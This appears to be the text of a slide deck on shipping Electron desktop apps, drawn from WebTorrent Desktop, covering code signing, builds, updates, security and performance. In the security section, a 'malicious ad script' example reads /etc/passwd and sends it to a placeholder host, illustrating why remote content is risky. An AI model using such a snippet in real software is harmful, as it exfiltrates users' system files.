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REAL-WORLD
ELECTRON
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SHIP
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SHIP
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@FEROSS
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WEBTORRENT DESKTOP
> 31 releases
> 32 contributors
> 350,000 installs
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WHOLE NEW WORLD
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UX
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USE THE DEFAULT CURSOR
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USE THE MENU BAR
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USE THE MENU BAR
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WINDOWS TRAY
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MAC APPS QUIT DIFFERENTLY
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MAC APPS QUIT DIFFERENTLY
app.on('window-all-closed', function (e) {
if (process.platform !== 'darwin') {
app.quit()
}
})
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CODE SIGNING
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CODE SIGNING
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WORKAROUND
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WORKAROUND
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WORKAROUND
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CODE SIGNING
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WORKAROUND
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GET A CERTIFICATE
> Apple Developer Program $99
> Windows Authenticode $100 - $500
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VERISIGN
THAWTE
COMODO
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VERISIGN
THAWTE VERISIGN
COMODO
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VERISIGN SYMANTEC
THAWTE VERISIGN SYMANTEC
COMODO
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SYMANTEC
COMODO
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SYMANTEC
COMODO DO NOT USE!
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SIGN YOUR APPS
> npm install electron-osx-sign
> npm install electron-winstaller
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BUILD
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AVOID NATIVE DEPENDENCIES
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BUILD FOR
ALL PLATFORMS
FROM
ONE PLATFORM
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...WITH ONE EXCEPTION
> Mac code signing only works on Mac
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WHICH
PLATFORMS?
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MINIMUM
> Windows Installer 32-bit
> Mac Disk Image 64-bit
> Linux Deb File 64-bit
> Linux Deb File 32-bit
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STEAM PLATFORM STATS
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STEAM PLATFORM STATS
> 6% use Windows 7 32-bit
> 0.4% use Windows 8 32-bit
> 1.5% use Windows 10 32-bit
= 8% OF WINDOWS USERS ARE 32-BIT
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WOW64
WINDOWS 32-BIT ON WINDOWS 64-BIT
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MAC IS 100% 64-BIT
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LINUX IS ???
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MINIMUM
> Windows Installer 32-bit
> Mac Disk Image 64-bit
> Linux Deb File 64-bit
> Linux Deb File 32-bit
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MINIMUM
> WebTorrentSetup.exe
> WebTorrent.dmg
> webtorrent-desktop_0.0.0-1_amd64.deb
> webtorrent-desktop_0.0.0-1_i386.deb
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COMPLETE
> Windows Installer 64-bit
> Windows Installer 32-bit
> Mac Disk Image 64-bit
> Linux Deb File 64-bit
> Linux Deb File 32-bit
> Linux Zip File 64-bit
> Linux Zip File 32-bit
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COMPLETE
> WebTorrentSetup.exe
> WebTorrentSetup-ia32.exe
> WebTorrent.dmg
> webtorrent-desktop_0.0.0-1_amd64.deb
> webtorrent-desktop_0.0.0-1_i386.deb
> WebTorrent-linux.zip
> WebTorrent-linux-ia32.zip
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ABOVE-AND-BEYOND
> Linux ARM architecture
> Mac App Store
> Windows Store
> Ubuntu Software Center
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DOWNLOAD
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OFFER THE
RIGHT FILE
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OFFER THE RIGHT FILE
> os.arch() → architecture of Node.js binary
> arch() → architecture of operating system
> npm install arch
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OFFER THE RIGHT FILE
const arch = require('arch')
if (arch() === 'x64') {
// 64-bit!
} else {
// 32-bit!
}
> Works in the browser
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UPDATES
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AUTO UPDATER
const electron = require('electron')
electron.autoUpdater.setFeedURL(AUTO_UPDATE_URL)
electron.autoUpdater.checkForUpdates()
electron.autoUpdater.on('error', ...)
electron.autoUpdater.on('checking-for-update', ...)
electron.autoUpdater.on('update-available', ...)
electron.autoUpdater.on('update-not-available', ...)
electron.autoUpdater.on('update-downloaded', ...)
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USERS HATE UPDATE PROMPTS
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SILENT UPDATES
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SECURITY
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WITH GREAT POWER
COMES GREAT
RESPONSIBLITY
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AIR-GAP
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ALWAYS USE HTTPS
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DO NOT LOAD
REMOTE CONTENT
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MALICIOUS AD SCRIPT
try {
var fs = require('fs')
var data = fs.readFileSync('/etc/passwd')
// Steal the data
var req = new XMLHttpRequest()
req.open('GET', 'http://example.com', true)
req.send(data.toString())
} catch (err) {}
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KEEP YOUR
SERVER SECURE
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DOWNLOAD
PERFORMANCE
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USE A CDN
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DEPENDENCY HYGIENE
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electron-packager IGNORE
/^\/src|^\/dist|\/(appveyor.yml|\.appveyor.yml|
\.github|appdmg|AUTHORS|CONTRIBUTORS|bench|benchmark|
benchmark\.js|bin|bower\.json|component\.json|coverage|
doc|docs|docs\.mli|dragdrop\.min\.js|example|examples|
example\.html|example\.js|externs|ipaddr\.min\.js|Makefile|
min|minimist|perf|rusha|simplepeer\.min\.js|
simplewebsocket\.min\.js|static\/screenshot\.png|
test|tests|test\.js|tests\.js|webtorrent\.min\.js|
\.[^\/]*|.*\.md|.*\.markdown)$/
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STARTUP
PERFORMANCE
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MINIMIZE require() CALLS
IN CRITICAL PATH
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var Module = require('module')
Module.prototype.require = function (orig) { return function (id) {
console.trace(this, id)
return orig.apply(this, arguments)
}}(Module.prototype.require)
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electron-packager ASAR
> app → app.asar
> One file instead of 1000s
> Fix Windows "max path length" bug
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MEASURE
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CATCH RUNTIME ERRORS
process.on('uncaughtException', ...)
window.addEventListener('error', ...)
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CATCH SEG FAULTS
const electron = require('electron')
electron.crashReporter.start({
companyName: COMPANY_NAME,
productName: APP_NAME,
submitURL: CRASH_REPORT_URL
})
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TELEMETRY
> Installs
> Active users
> User retention
> Error stack traces
> Version Skew
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ERROR RATE
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VERSION SKEW
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1. Measure
2. Release
3. Repeat
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KEEP IMPROVING!
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THANKS
@FEROSS